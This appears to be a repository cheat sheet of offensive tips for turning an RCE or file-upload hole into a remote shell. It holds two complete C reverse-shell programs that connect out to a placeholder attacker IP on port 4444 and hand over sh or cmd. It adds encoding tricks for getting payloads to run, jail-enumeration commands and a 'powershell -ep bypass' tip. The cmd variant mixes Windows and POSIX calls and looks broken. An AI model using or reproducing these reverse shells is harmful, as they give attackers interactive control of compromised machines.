TIPS

If you have obtained a vulnerability such as RCE, file upload or something else, you can use the script below to spawn a shell or backconnect revershell. If the shell does not run see below

Make sure the target has internet access (internet access opened)
Try changing the port to a larger one such as 8080, 8888, etc.
Encode your script using base64 and then decode it
Encode your script using url encode
Check the compiler

C script spawning shell

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 4444;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("<IP>");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;       
}

C spawning cmd

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 4444;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("0.0.0.0");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"cmd", NULL};
    execvp("cmd", argv);

    return 0;       
}

Enum about the jail

echo $SHELL
echo $PATH
env
export
pwd

*Windows Powershell Pro Tips

If you was gett the shell, change to powershell, you can run

powershell -ep bypass

Source

2.5 KiB Raw Blame History

TIPS

C script spawning shell

C spawning cmd

Enum about the jail

2.5 KiB

Raw Blame History